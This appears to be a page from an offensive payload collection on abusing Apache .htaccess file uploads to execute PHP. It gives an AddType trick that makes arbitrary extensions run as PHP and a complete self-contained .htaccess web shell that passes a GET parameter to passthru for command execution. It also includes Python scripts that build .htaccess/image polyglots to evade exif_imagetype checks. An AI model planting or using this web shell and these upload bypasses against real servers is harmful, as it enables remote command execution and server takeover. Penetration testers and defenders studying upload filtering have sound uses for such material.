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.htaccess

Uploading an .htaccess file to override Apache rule and execute PHP. "Hackers can also use “.htaccess” file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerabler server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded."

Summary

AddType Directive

Upload an .htaccess with : AddType application/x-httpd-php .rce
Then upload any file with .rce extension.

Self Contained .htaccess

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directives from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ######
<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>

Polyglot .htaccess

If the exif_imagetype function is used on the server side to determine the image type, create a .htaccess/image polyglot.

Supported image types include X BitMap (XBM) and WBMP. In .htaccess ignoring lines starting with \x00 and #, you can use these scripts for generate a valid .htaccess/image polyglot.

  • Create valid .htaccess/xbm image 

    width = 50
height = 50
payload = '# .htaccess file'

with open('.htaccess', 'w') as htaccess:
    htaccess.write('#define test_width %d\n' % (width, ))
    htaccess.write('#define test_height %d\n' % (height, ))
    htaccess.write(payload)

  • Create valid .htaccess/wbmp image 

    type_header = b'\x00'
fixed_header = b'\x00'
width = b'50'
height = b'50'
payload = b'# .htaccess file'

with open('.htaccess', 'wb') as htaccess:
    htaccess.write(type_header + fixed_header + width + height)
    htaccess.write(b'\n')
    htaccess.write(payload)

References